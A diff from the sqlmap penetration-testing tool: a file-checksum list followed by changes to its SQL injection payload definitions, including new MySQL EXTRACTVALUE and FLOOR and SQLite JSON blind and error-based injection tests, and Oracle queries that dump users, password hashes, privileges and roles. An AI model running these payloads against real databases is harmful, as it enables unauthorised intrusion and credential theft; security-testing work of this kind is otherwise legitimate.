b9a84211c84785361f4efa55858a1cdddd63cee644d0b8d4323b3a5e3db7d12f tamper/least.py
0de2bd766f883ac742f194f991c5d38799ffbf4346f4376be7ec8d750f2d9ef8 tamper/lowercase.py
c390d072ed48431ab5848d51b9ca5c4ff323964a770f0597bdde943ed12377f8 tamper/luanginx.py
7eba10540514a5bfaee02e92b711e0f89ffe30b1672ec25c7680f2aa336c8a58 tamper/misunion.py
b262da8d38dbb4be64d42e0ab07e25611da11c5d07aa11b09497b344a4c76b8d tamper/modsecurityversioned.py
fbb4ea2c764a1402293b71064183a6e929d5278afa09c7799747c53c3d3a9df3 tamper/modsecurityzeroversioned.py
91c7f96f3d0a3da9858e6ebebb337d6e3773961ff8e85af8b9e8458f782e75c0 tamper/multiplespaces.py
e0d800cfefa04fefed744956d4f3c17ccaeb1b59cb7a19c2796da4b1ebff6a3f tamper/ord2ascii.py
50ebd172e152ed9154ff75acc45b95b3c406be2d2985fe1190bfb2f6a4077763 tamper/overlongutf8more.py
a1e7d8907e7b4b25b1a418e8d5221e909096f719dcb611d15b5e91c83454ccdc tamper/overlongutf8.py
639b9cc83d94f536998b4efed8a88bed6ff8e9c67ea8381e87d1454cdea80293 tamper/percentage.py
704551003e62d4fc1949855931d6cebd57cc5cdbf2221dbd43e51cbdad6f130d tamper/plus2concat.py
b9d1e3ee657236b13ad5ecaf2adfa089e24a0e67738253eedb533a68f277a6e3 tamper/plus2fnconcat.py
fb4b7539284db076147a530df1dd072d5d35e32a71fd7bc8e312319d5f3aaa52 tamper/randomcase.py
b27066b7ea4f69243d5a353327090a0630bbf7f512edf5e277cde2c10139b3dd tamper/randomcomments.py
35a8539ac8030d3fc176ea8231fe8983285fc576f7e0b50ccdf911a565f1f758 tamper/schemasplit.py
a34524af6fe2f2bba642b3234fbf1aa8785761e7d82906005b5476b7cc724857 tamper/scientific.py
65d22c54abfa61b73140020d48a86ec8eeb4c9e4e5e088d1462e4bce4a64f18b tamper/sleep2getlock.py
c10f1a4c0fa268d252736cdf4b3bb258ee5d12263feb102149e481b2a26efb12 tamper/space2comment.py
928cee298ca2b6d055fc6b7e7fc7bcf3313581bf0dd9f5b319c16d5914a991ee tamper/space2dash.py
63e1b03a8768668a52a2a166eb07c27613253b5e3143cc0ce6afe4f844822a3f tamper/space2hash.py
6485e6c76e82be84801c1ff8a1a0bdc3654c434c1f6a95c45fb53efe94fc6c02 tamper/space2morecomment.py
757f554f9541aee3ae09b40dcb26d258584877b4d01bad4ee485afc67b1ae12a tamper/space2morehash.py
9584b0341fb6528fdbe3fe14e34b0c4dcd3d589bd5c2f8a68715ba5b20dbf286 tamper/space2mssqlblank.py
4da39437e518e02c85b4de57447cb845356167909a256a476e63ec3faebbf26d tamper/space2mssqlhash.py
e49d8501e09806ab2b8019c6e0864003cb538f43d1de5a09415d915c827db7b7 tamper/space2mysqlblank.py
015284f173c8ba54f347a3ce5d6205092ba8aed811a45077aa69ce6ce52b1ad9 tamper/space2mysqldash.py
92797c4dd9a2e41c9738f9fa51575958dbd178053a1166a890ace6e719f50fe7 tamper/space2plus.py
e025cdcc48a1915352b0e112f2f5511beccb3f278860b35c4d07038c509fd0a5 tamper/space2randomblank.py
85ba64cf231a4fa36e1550f6575fe10fd8aa6cf084f92a5e8cea60378e96cabf tamper/sp_password.py
30c211a5c33209dd36f44f3d7a9bb1c8002ba1b1d18e74f0ba606c9838b1be09 tamper/substring2leftright.py
0a8c5dfbcc2dd28544edbd0a40286407fb724edbaa5dcad6c646c465bccf103d tamper/symboliclogical.py
a941abd9d03a66ad796252bbc7c70bdafa5a0203ce66865bec48dc77a3cb8724 tamper/unionalltounion.py
beddd06210ecc68cc096d42c33fc502d7bb9c040c84952340a8eb1a42b592968 tamper/unmagicquotes.py
b2c220604ebf4f71e563f6b6b564fdb85b045af8fce681411a931e49556b569e tamper/uppercase.py
47a5fe04e53d7c126d6b56139a1e6053c41c7e3a0d9e2b9dbc4b93573099a10a tamper/varnish.py
2c9ad34f8a8a78ed2f10bf39985197fdfd7df12ebc364a5b32276170bc5f6f05 tamper/versionedkeywords.py
6780c120d8099283cb26120f8d42e1ced63d89401a31e8163cc7954634706043 tamper/versionedmorekeywords.py
672e949a0d63a01a6b13a6211fa9b9a9bc365f9f2688acd2ece4c20dfc031025 tamper/xforwardedfor.py
55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py
dfb8a36f58a3ae72c34d6a350830857c88ff8938fe256af585d5c9c63040c5b2 thirdparty/beautifulsoup/beautifulsoup.py
7d62c59f787f987cbce0de5375f604da8de0ba01742842fb2b3d12fcb92fcb63 thirdparty/beautifulsoup/__init__.py
0915f7e3d0025f81a2883cd958813470a4be661744d7fffa46848b45506b951a thirdparty/bottle/bottle.py
9f56e761d79bfdb34304a012586cb04d16b435ef6130091a97702e559260a2f2 thirdparty/bottle/__init__.py
0ffccae46cb3a15b117acd0790b2738a5b45417d1b2822ceac57bdff10ef3bff thirdparty/chardet/big5freq.py
901c476dd7ad0693deef1ae56fe7bdf748a8b7ae20fde1922dddf6941eff8773 thirdparty/chardet/big5prober.py
df0a164bad8aac6a282b2ab3e334129e315b2696ba57b834d9d68089b4f0725f thirdparty/chardet/chardistribution.py
e9b0eef1822246e49c5f871af4881bd14ebd4c0d8f1975c37a3e82738ffd90ee thirdparty/chardet/charsetgroupprober.py
2929b0244ae3ca9ca3d1b459982e45e5e33b73c61080b6088d95e29ed64db2d8 thirdparty/chardet/charsetprober.py
558a7fe9ccb2922e6c1e05c34999d75b8ab5a1e94773772ef40c904d7eeeba0f thirdparty/chardet/codingstatemachine.py
3ca4f31e449bb5b1c3a92f4fcae8cc6d7ef8ab56bc98ca5e4130d5b10859311c thirdparty/chardet/compat.py
4d9e37e105fccf306c9d4bcbffcc26e004154d9d9992a10440bfe5370f5ff68c thirdparty/chardet/cp949prober.py
0229b075bf5ab357492996853541f63a158854155de9990927f58ae6c358f1c5 thirdparty/chardet/enums.py
924caa560d58c370c8380309d9b765c9081415086e1c05bc7541ac913a0d5927 thirdparty/chardet/escprober.py
46e5e580dbd32036ab9ddbe594d0a4e56641229742c50d2471df4402ec5487ce thirdparty/chardet/escsm.py
883f09769d084918e08e254dedfd1ef3119e409e46336a1e675740f276d2794c thirdparty/chardet/eucjpprober.py
fbb19d9af8167b3e3e78ee12b97a5aeed0620e2e6f45743c5af74503355a49fa thirdparty/chardet/euckrfreq.py
32a14c4d05f15b81dbcc8a59f652831c1dc637c48fe328877a74e67fc83f3f16 thirdparty/chardet/euckrprober.py
368d56c9db853a00795484d403b3cbc82e6825137347231b07168a235975e8c0 thirdparty/chardet/euctwfreq.py
d77a7a10fe3245ac6a9cfe221edc47389e91db3c47ab5fe6f214d18f3559f797 thirdparty/chardet/euctwprober.py
257f25b3078a2e69c2c2693c507110b0b824affacffe411bbe2bc2e2a3ceae57 thirdparty/chardet/gb2312freq.py
806bc85a2f568438c4fb14171ef348cab9cbbc46cc01883251267ae4751fca5c thirdparty/chardet/gb2312prober.py
737499f8aee1bf2cc663a251019c4983027fb144bd93459892f318d34601605a thirdparty/chardet/hebrewprober.py
62c3f9c1096c1c9d9ab85d516497f2a624ab080eff6d08919b7112fcd23bebe6 thirdparty/chardet/__init__.py
be9989bf606ed09f209cc5513c730579f4d1be8fe16b59abc8b8a0f0207080e8 thirdparty/chardet/jisfreq.py
3d894da915104fc2ccddc4f91661c63f48a2b1c1654d6103f763002ef06e9e0a thirdparty/chardet/jpcntx.py
d47a904bd3dbb678f5c508318ad24cbf0f17ea42abe4ea1c90d09959f110acf1 thirdparty/chardet/langbulgarianmodel.py
2ce0da8efb1eb47f3bc980c340a0360942d7507f3bb48db6ddd85f8e1f59c7d7 thirdparty/chardet/langcyrillicmodel.py
f18016edb53c6304896a9d2420949b3ccc35044ab31a35b3a9ca9fd168142800 thirdparty/chardet/langgreekmodel.py
2529ea984e44eb6b432d33d3bcba50b20e6038c3b83db75646f57b02f91cd070 thirdparty/chardet/langhebrewmodel.py
4616a96121b997465a3be555e056a7e6c5b4591190aa1c0133ad72c77cb1c8e0 thirdparty/chardet/langhungarianmodel.py
f25d35ef71aefd6e86f26c6640e4c417896cd98744ec5c567f74244b11065c94 thirdparty/chardet/langthaimodel.py
5b6d9e44d26ca88eae5807f05d22955969c27ab62aac8f1d6504e6fccd254459 thirdparty/chardet/langturkishmodel.py
4b6228391845937f451053a54855ad815c9b4623fa87b0652e574755c94d914f thirdparty/chardet/latin1prober.py
011f797851fdbeea927ef2d064df8be628de6b6e4d3810a85eac3cb393bdc4b4 thirdparty/chardet/mbcharsetprober.py
87a4d19e762ad8ec46d56743e493b2c5c755a67edd1b4abebc1f275abe666e1e thirdparty/chardet/mbcsgroupprober.py
498df6c15205dc7cdc8d8dc1684b29cbd99eb5b3522b120807444a3e7eed8e92 thirdparty/chardet/mbcssm.py
2c34a90a5743085958c149069300f6a05c4b94f5885974f4f5a907ff63e263be thirdparty/chardet/sbcharsetprober.py
d48a6b70207f935a9f9a7c460ba3016f110b94aa83dec716e92f1823075ec970 thirdparty/chardet/sbcsgroupprober.py
208b7e9598f4589a8ae2b9946732993f8189944f0a504b45615b98f7a7a4e4c4 thirdparty/chardet/sjisprober.py
a8bd35ef8952644e38d9e076d679e4b53f7f55c0327b4ee5685594794ae3b6d6 thirdparty/chardet/universaldetector.py
21d0fcbf7cd63ac07c38b8b23e2fb2fdfab08a9445c55f4d73578a04b4ae204c thirdparty/chardet/utf8prober.py
b29dc1d3c9ab0d707ea5fdcaf5fa89ff37831ce08b0bc46b9e04320c56a9ffb8 thirdparty/chardet/version.py
1c1ee8a91eb20f8038ace6611610673243d0f71e2b7566111698462182c7efdd thirdparty/clientform/clientform.py
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/clientform/__init__.py
162d2e9fe40ba919bebfba3f9ca88eab20bc3daa4124aec32d5feaf4b2ad4ced thirdparty/colorama/ansi.py
a7070aa13221d97e6d2df0f522b41f1876cd46cb1ddb16d44c1f304f7bab03a3 thirdparty/colorama/ansitowin32.py
d7b5750fa3a21295c761a00716543234aefd2aa8250966a6c06de38c50634659 thirdparty/colorama/initialise.py
f71072ad3be4f6ea642f934657922dd848dee3e93334bc1aff59463d6a57a0d5 thirdparty/colorama/__init__.py
fd2084a132bf180dad5359e16dac8a29a73ebfd267f7c9423c814e7853060874 thirdparty/colorama/win32.py
179e47739cdcb6d8f97713b4ecf2c84502ed9894d20cf941af5010a91b5275ea thirdparty/colorama/winterm.py
4f4b2df6de9c0a8582150c59de2eb665b75548e5a57843fb6d504671ee6e4df3 thirdparty/fcrypt/fcrypt.py
6a70ddcae455a3876a0f43b0850a19e2d9586d43f7b913dc1ffdf87e87d4bd3f thirdparty/fcrypt/__init__.py
dbd1639f97279c76b07c03950e7eb61ed531af542a1bdbe23e83cb2181584fd9 thirdparty/identywaf/data.json
5aa308d6173ad9e2a5006a719fdbfe8c20d7e14b6d70c04045b935e44caa96d0 thirdparty/identywaf/identYwaf.py
edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa thirdparty/identywaf/__init__.py
d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347 thirdparty/identywaf/LICENSE
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/__init__.py
879d96f2460bc6c79c0db46b5813080841c7403399292ce76fe1dc0a6ed353d8 thirdparty/keepalive/__init__.py
f517561115b0cfaa509d0d4216cd91c7de92c6a5a30f1688fdca22e4cd52b8f8 thirdparty/keepalive/keepalive.py
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py
4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py
fa2c4cfc6f1fb29a3cf4ad119243a10aef2dfe9cf93129436aa649baef8e4764 thirdparty/multipart/multipartpost.py
ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odict/__init__.py
9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb thirdparty/odict/ordereddict.py
691ae693e3a33dd730930492ff9e7e3bdec45e90e3a607b869a37ecd0354c2d8 thirdparty/prettyprint/__init__.py
8df6e8c60eac4c83b1bf8c4e0e0276a4caa3c5f0ca57bc6a2116f31f19d3c33f thirdparty/prettyprint/prettyprint.py
3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py
d1d54fc08f80148a4e2ac5eee84c8475617e8c18bfbde0dfe6894c0f868e4659 thirdparty/pydes/pyDes.py
1c61d71502a80f642ff34726aa287ac40c1edd8f9239ce2e094f6fded00d00d4 thirdparty/six/__init__.py
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py
7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE
543217f63a4f0a7e7b4f9063058d2173099d54d010a6a4432e15a97f76456520 thirdparty/socks/socks.py
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/termcolor/__init__.py
b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df thirdparty/termcolor/termcolor.py
4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc thirdparty/wininetpton/__init__.py
7d7ec81c788600d02d557c13f9781bb33f8a699c5a44c4df0a065348ad2ee502 thirdparty/wininetpton/win_inet_pton.py

View File

@@ -1,4 +1,4 @@
# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Opera # Opera

View File

@@ -554,6 +554,15 @@ Formats:
</boundary> </boundary>
<!-- End of escaped column name boundaries --> <!-- End of escaped column name boundaries -->
<boundary>
<level>5</level>
<clause>7</clause>
<where>1</where>
<ptype>3</ptype>
<prefix> [RANDSTR1],</prefix>
<suffix> [RANDSTR2]</suffix>
</boundary>
<!-- AGAINST boolean full-text search boundaries (http://dev.mysql.com/doc/refman/5.5/en/fulltext-boolean.html) --> <!-- AGAINST boolean full-text search boundaries (http://dev.mysql.com/doc/refman/5.5/en/fulltext-boolean.html) -->
<boundary> <boundary>
<level>4</level> <level>4</level>

View File

@@ -484,18 +484,18 @@ Tag: <test>
</test> </test>
<test> <test>
<title>MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)</title> <title>MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
<stype>1</stype> <stype>1</stype>
<level>5</level> <level>5</level>
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,8</clause> <clause>1,2,3,8</clause>
<where>1</where> <where>1</where>
<vector>AND ([INFERENCE])*[RANDNUM]</vector> <vector>AND EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END)</vector>
<request> <request>
<payload>AND ([RANDNUM]=[RANDNUM])*[RANDNUM1]</payload> <payload>AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END)</payload>
</request> </request>
<response> <response>
<comparison>AND ([RANDNUM]=[RANDNUM1])*[RANDNUM1]</comparison> <comparison>AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)</comparison>
</response> </response>
<details> <details>
<dbms>MySQL</dbms> <dbms>MySQL</dbms>
@@ -503,18 +503,18 @@ Tag: <test>
</test> </test>
<test> <test>
<title>MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)</title> <title>MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
<stype>1</stype> <stype>1</stype>
<level>5</level> <level>5</level>
<risk>3</risk> <risk>3</risk>
<clause>1,2,3</clause> <clause>1,2,3,8</clause>
<where>2</where> <where>2</where>
<vector>OR ([INFERENCE])*[RANDNUM]</vector> <vector>OR EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END)</vector>
<request> <request>
<payload>OR ([RANDNUM]=[RANDNUM])*[RANDNUM1]</payload> <payload>OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END)</payload>
</request> </request>
<response> <response>
<comparison>OR ([RANDNUM]=[RANDNUM1])*[RANDNUM1]</comparison> <comparison>OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)</comparison>
</response> </response>
<details> <details>
<dbms>MySQL</dbms> <dbms>MySQL</dbms>
@@ -596,6 +596,45 @@ Tag: <test>
<dbms>Oracle</dbms> <dbms>Oracle</dbms>
</details> </details>
</test> </test>
<test>
<title>SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
<stype>1</stype>
<level>2</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>AND CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</vector>
<request>
<payload>AND CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</payload>
</request>
<response>
<comparison>AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</comparison>
</response>
<details>
<dbms>SQLite</dbms>
</details>
</test>
<test>
<title>SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
<stype>1</stype>
<level>3</level>
<risk>3</risk>
<clause>1</clause>
<where>2</where>
<vector>OR CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</vector>
<request>
<payload>OR CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</payload>
</request>
<response>
<comparison>OR CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</comparison>
</response>
<details>
<dbms>SQLite</dbms>
</details>
</test>
<!-- End of boolean-based blind tests - WHERE or HAVING clause --> <!-- End of boolean-based blind tests - WHERE or HAVING clause -->
<!-- Boolean-based blind tests - Parameter replace --> <!-- Boolean-based blind tests - Parameter replace -->

View File

@@ -221,6 +221,26 @@
</details> </details>
</test> </test>
<test>
<title>MySQL &gt;= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>7</clause>
<where>1</where>
<vector>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</vector>
<request>
<payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.0</dbms_version>
</details>
</test>
<test> <test>
<title>MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title> <title>MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
<stype>2</stype> <stype>2</stype>

View File

@@ -207,7 +207,7 @@
</columns> </columns>
<dump_table> <dump_table>
<inband query="SELECT %s FROM %s.%s"/> <inband query="SELECT %s FROM %s.%s"/>
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT %s, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM %s)x WHERE LIMIT=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s"/> <blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT %s, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS CAP FROM %s)x WHERE CAP=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s"/>
</dump_table> </dump_table>
<search_db> <search_db>
<inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/> <inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/>
@@ -228,7 +228,7 @@
<length query="LENGTH(%s)"/> <length query="LENGTH(%s)"/>
<isnull query="NVL(%s,' ')"/> <isnull query="NVL(%s,' ')"/>
<delimiter query="||"/> <delimiter query="||"/>
<limit query="ROWNUM AS LIMIT %s) WHERE LIMIT"/> <limit query="ROWNUM AS CAP %s) WHERE CAP"/>
<limitregexp query="ROWNUM\s+AS\s+.+?\s+FROM\s+.+?\)\s+WHERE\s+.+?\s*=\s*[\d]+|ROWNUM\s*=\s*[\d]+"/> <limitregexp query="ROWNUM\s+AS\s+.+?\s+FROM\s+.+?\)\s+WHERE\s+.+?\s*=\s*[\d]+|ROWNUM\s*=\s*[\d]+"/>
<limitgroupstart/> <limitgroupstart/>
<limitgroupstop/> <limitgroupstop/>
@@ -261,11 +261,11 @@
<is_dba query="(SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=USER AND GRANTED_ROLE='DBA')='DBA'"/> <is_dba query="(SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=USER AND GRANTED_ROLE='DBA')='DBA'"/>
<users> <users>
<inband query="SELECT USERNAME FROM SYS.ALL_USERS"/> <inband query="SELECT USERNAME FROM SYS.ALL_USERS"/>
<blind query="SELECT USERNAME FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=%d" count="SELECT COUNT(USERNAME) FROM SYS.ALL_USERS"/> <blind query="SELECT USERNAME FROM (SELECT USERNAME,ROWNUM AS CAP FROM SYS.ALL_USERS) WHERE CAP=%d" count="SELECT COUNT(USERNAME) FROM SYS.ALL_USERS"/>
</users> </users>
<passwords> <passwords>
<inband query="SELECT NAME,PASSWORD FROM SYS.USER$" condition="NAME"/> <inband query="SELECT NAME,PASSWORD FROM SYS.USER$" condition="NAME"/>
<blind query="SELECT PASSWORD FROM (SELECT PASSWORD,ROWNUM AS LIMIT FROM SYS.USER$ WHERE NAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(PASSWORD) FROM SYS.USER$ WHERE NAME='%s'"/> <blind query="SELECT PASSWORD FROM (SELECT PASSWORD,ROWNUM AS CAP FROM SYS.USER$ WHERE NAME='%s') WHERE CAP=%d" count="SELECT COUNT(PASSWORD) FROM SYS.USER$ WHERE NAME='%s'"/>
</passwords> </passwords>
<!-- <!--
NOTE: in Oracle to enumerate the privileges for the session user you can use: NOTE: in Oracle to enumerate the privileges for the session user you can use:
@@ -273,7 +273,7 @@
--> -->
<privileges> <privileges>
<inband query="SELECT GRANTEE,PRIVILEGE FROM DBA_SYS_PRIVS" query2="SELECT USERNAME,PRIVILEGE FROM USER_SYS_PRIVS" condition="GRANTEE" condition2="USERNAME"/> <inband query="SELECT GRANTEE,PRIVILEGE FROM DBA_SYS_PRIVS" query2="SELECT USERNAME,PRIVILEGE FROM USER_SYS_PRIVS" condition="GRANTEE" condition2="USERNAME"/>
<blind query="SELECT PRIVILEGE FROM (SELECT PRIVILEGE,ROWNUM AS LIMIT FROM DBA_SYS_PRIVS WHERE GRANTEE='%s') WHERE LIMIT=%d" query2="SELECT PRIVILEGE FROM (SELECT PRIVILEGE,ROWNUM AS LIMIT FROM USER_SYS_PRIVS WHERE USERNAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(PRIVILEGE) FROM DBA_SYS_PRIVS WHERE GRANTEE='%s'" count2="SELECT COUNT(PRIVILEGE) FROM USER_SYS_PRIVS WHERE USERNAME='%s'"/> <blind query="SELECT PRIVILEGE FROM (SELECT PRIVILEGE,ROWNUM AS CAP FROM DBA_SYS_PRIVS WHERE GRANTEE='%s') WHERE CAP=%d" query2="SELECT PRIVILEGE FROM (SELECT PRIVILEGE,ROWNUM AS CAP FROM USER_SYS_PRIVS WHERE USERNAME='%s') WHERE CAP=%d" count="SELECT COUNT(PRIVILEGE) FROM DBA_SYS_PRIVS WHERE GRANTEE='%s'" count2="SELECT COUNT(PRIVILEGE) FROM USER_SYS_PRIVS WHERE USERNAME='%s'"/>
</privileges> </privileges>
<!-- <!--
NOTE: in Oracle to enumerate the roles for the session user you can use: NOTE: in Oracle to enumerate the roles for the session user you can use:
@@ -281,20 +281,20 @@
--> -->
<roles> <roles>
<inband query="SELECT GRANTEE,GRANTED_ROLE FROM DBA_ROLE_PRIVS" query2="SELECT USERNAME,GRANTED_ROLE FROM USER_ROLE_PRIVS" condition="GRANTEE" condition2="USERNAME"/> <inband query="SELECT GRANTEE,GRANTED_ROLE FROM DBA_ROLE_PRIVS" query2="SELECT USERNAME,GRANTED_ROLE FROM USER_ROLE_PRIVS" condition="GRANTEE" condition2="USERNAME"/>
<blind query="SELECT GRANTED_ROLE FROM (SELECT GRANTED_ROLE,ROWNUM AS LIMIT FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s') WHERE LIMIT=%d" query2="SELECT GRANTED_ROLE FROM (SELECT GRANTED_ROLE,ROWNUM AS LIMIT FROM USER_ROLE_PRIVS WHERE USERNAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(GRANTED_ROLE) FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s'" count2="SELECT COUNT(GRANTED_ROLE) FROM USER_ROLE_PRIVS WHERE USERNAME='%s'"/> <blind query="SELECT GRANTED_ROLE FROM (SELECT GRANTED_ROLE,ROWNUM AS CAP FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s') WHERE CAP=%d" query2="SELECT GRANTED_ROLE FROM (SELECT GRANTED_ROLE,ROWNUM AS CAP FROM USER_ROLE_PRIVS WHERE USERNAME='%s') WHERE CAP=%d" count="SELECT COUNT(GRANTED_ROLE) FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s'" count2="SELECT COUNT(GRANTED_ROLE) FROM USER_ROLE_PRIVS WHERE USERNAME='%s'"/>
</roles> </roles>
<statements> <statements>
<inband query="SELECT SQL_TEXT FROM V$SQL"/> <inband query="SELECT SQL_TEXT FROM V$SQL"/>
<blind query="SELECT SQL_TEXT FROM (SELECT SQL_TEXT,ROWNUM AS LIMIT FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%') WHERE LIMIT=%d" count="SELECT COUNT(SQL_TEXT) FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%'"/> <blind query="SELECT SQL_TEXT FROM (SELECT SQL_TEXT,ROWNUM AS CAP FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%') WHERE CAP=%d" count="SELECT COUNT(SQL_TEXT) FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%'"/>
</statements> </statements>
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes --> <!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
<dbs> <dbs>
<inband query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)"/> <inband query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)"/>
<blind query="SELECT OWNER FROM (SELECT OWNER,ROWNUM AS LIMIT FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)) WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES"/> <blind query="SELECT OWNER FROM (SELECT OWNER,ROWNUM AS CAP FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)) WHERE CAP=%d" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES"/>
</dbs> </dbs>
<tables> <tables>
<inband query="SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES" condition="OWNER"/> <inband query="SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES" condition="OWNER"/>
